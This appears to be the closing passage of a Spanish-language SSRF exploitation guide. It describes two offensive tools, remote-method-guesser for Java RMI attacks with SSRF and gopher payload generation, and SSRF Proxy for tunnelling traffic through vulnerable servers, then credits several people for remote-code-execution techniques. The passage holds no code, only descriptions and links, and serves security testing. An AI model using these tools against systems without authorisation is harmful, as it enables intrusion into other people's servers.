<div id="remote-method-guesser"></div>

## remote-method-guesser

- [remote-method-guesser - Github](https://github.com/qtc-de/remote-method-guesser)
- [Entrada de blog sobre el uso de SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)

*remote-method-guesser* es un escáner de vulnerabilidades de *Java RMI* que admite operaciones de ataque para las vulnerabilidades de *Java RMI*
más comunes. La mayoría de las operaciones disponibles admiten la opción ``--ssrf`` para generar un payload de *SSRF* para la
operación solicitada. Junto con la opción ``--gopher``, se pueden generar directamente payloads de *gopher* listos para usar.


<div id="ssrfproxy"></div>

## SSRF Proxy

- [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)

SSRF Proxy es un servidor proxy HTTP multihilo diseñado para tunelizar el tráfico HTTP del cliente a través de servidores HTTP vulnerables a Server-Side Request Forgery (SSRF).

---

Créditos:

Gracias a las siguientes personas que han contribuido a esta publicación:

- [@Rhynorater - Numerosas contribuciones a esta entrada de blog](https://twitter.com/Rhynorater)
- [@nnwakelam - Solr Shards SSRF](https://twitter.com/nnwakelam)
- [@marcioalm - Tomcat 6 Gopher RCE](https://twitter.com/marcioalm)
- [@vtnahira - OpenTSDB RCE](https://twitter.com/vtnahira)
- [@fransrosen - Concepto de canarios SSRF](https://twitter.com/fransrosen)
- [@theabrahack - RCE vía Jenkins Groovy](https://twitter.com/@theabrahack)
- [@qtc_de - RCE vía Java RMI](https://twitter.com/qtc_de)
Descargar herramienta